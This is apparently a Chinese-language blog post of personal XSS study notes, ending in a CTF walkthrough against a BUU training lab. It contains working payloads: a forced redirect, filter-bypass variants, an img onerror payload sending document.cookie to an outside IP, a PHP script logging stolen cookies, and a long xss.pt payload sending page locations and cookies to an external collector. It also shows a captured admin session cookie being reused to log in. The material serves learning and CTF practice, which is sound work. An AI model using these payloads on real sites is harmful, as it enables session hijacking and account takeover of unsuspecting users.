7.31 XSS学习记录

XSS学习笔记

o跨站脚本(Cross-Site Scripting,简称XSS)

o允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响

我这边输入一个网页

<?php
echo 'please input id.';
echo $_GET['id'];
?>

XSS类型

反射型(非持久型)

特点:一次性

o攻击者可以将恶意的XSS代码包含在URL链接中,然后发送给目标用户

可以看到,这是一个非常简单的Get传参的操作

image.png

这里就可以进行XSS注入。

为什么呢?

请看,如果我让id写成一个script标签呢?

image.png

可以看到,我们这里使用了一个alert弹窗函数,确实已经注入成功了。

存储型XSS(stored)

练习靶场:dvwa集成了常见的web漏洞测试环境,可自己本地搭建,或使用buuctf上的环境

默认用户名admin,密码password;第一次使用需要初始化数据库

或使用buuctf上的dvwa

o常见的环境是微博、论坛、博客等

可以看到,在这里的留言板当中,我们传入的内容上传到了数据库当中去了,他被永久地保存。其他用户访问页面时,也会同样得到一个弹窗。

image.png

hack

第一种就是我们上述的alert弹窗攻击

<script>alert("you are hacked !")</script>

第二种是可以劫持流量实现恶意跳转

<script>window.location.href="https://www.baidu.com";</script>

只要看到了我的这条博客,就会自动跳到baidu的网站,给百度引流。

第三种是窃取cookie

<script>alert(document.cookie)</script>
或使用js将cookie发送到特定的网站

先解释一下Cookie

o用户登录成功后,一般把登录凭证存储在cookie中

o如果你的cookie值被窃取,那么攻击者很可能能够直接利用你的这张令牌不用密码就登录你的账户。

登录之后就可以尝试修改你的密码

可以看到,cookie已经被窃取了

image.png

image.png

一些绕过的方法

比如过滤了script标签

大小写绕过

<scRipt>

双写绕过

<scri<script>pt>

不使用script

加载svg图片的时候执行

<svg onload=alert(1)> 

javascript 伪协议

<iframe src=javascript:alert(1)>

鼠标移到标签就执行脚本

<a onmouseover=alert(document.cookie)>xxs link</a>

给一个链接执行javascript

<a href=javascript:alert(1)>link</a>

图片报错的时候执行js代码

<img src=x onerror=alert(1)></img>

实体编码绕过

<a href=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>link</a>

image.png

也可以把分号去掉

<a href=&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29>link</a>

十六进制也可以转化成十进制。

image.png

内嵌tab

<iframe src=java&#x09;script:alert(1)>

o防止javascrpt被过滤掉

其他绕过方式见

ofreebuf中或直接搜索引擎搜索xss

本地平台搭建

比如我们在对方服务器上传了这样的言论

<img src=x onerror="(new Image()).src='http://114.132.200.216/cookie.php?cookie='+escape(document.cookie)"></img>

当admin访问时,会在我们本地服务器出来他的cookie

<?php
$cookie=$_GET['cookie'];              //接收cookie的值
$str=fopen('cookie.txt','a+');       //打开资源句柄
fwrite($str,$cookie."\n");              //将cookie值写入文件
fclose($str);                      //关闭资源句柄
?>

可以看到这里的结果

image.png

XSS平台搭建

buu上的靶场不能访问外网,所以用他们内网的XSS http://xss.buuoj.cn/index.php?do=login

如:https://xss.pt/,也可以在自己服务器上搭

原理:管理员浏览时,就会触发js代码,将管理员的cookie发送到xss平台

这里是我自己浏览时泄露的cookie,他这边也有回应的

image.png

ctf竞赛XSS解题的形式

值得注意的是,在ctf比赛的时候,管理员是会审核的

image.png

不过我们可以获取到admin用户的cookie,再用这个cookie登录后台,就能干很多事

BUU XSS COURSE 1

进去后发现可以提交内容

image.png

看到可以回显内容,那么就可以进行XSS注入。

首先我们找到注入点。

这边发现

<iframe src=javascript:alert(1)>
<img src=x onerror=alert(222)></img>

是可以顺利执行js的。

我们在外面一个平台植入代码,projectid改成我们的idimage.png

image.png

我们再通过XSS平台上的代码,我们套用前面成功绕过的一个姿势上传XSS

<img src=x onerror="(function(){(new Image()).src='https://xss.pt/xss.php?do=api&id=ZYow&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if('{set.keepsession}'==1){keep=new Image();keep.src='https://xss.pt/xss.php?do=keepsession&id=ZYow&url='+escape(document.location)+'&cookie='+escape(document.cookie)}; "></img>

接下来我们就等管理员”上沟“,自动交出他的cookie来就好了。

image.png

这边可以看到管理员时从/backend/admin.php过来的,我们在这个网站注入cookie就完事了

我们输入admin的cookie

cookie : PHPSESSID=b424c4d2aaee09e78351e32e4242c45a

image.png

得到flag

posted @ 2022-07-31 22:06  yuezi2048  阅读(23)  评论(0编辑  收藏  举报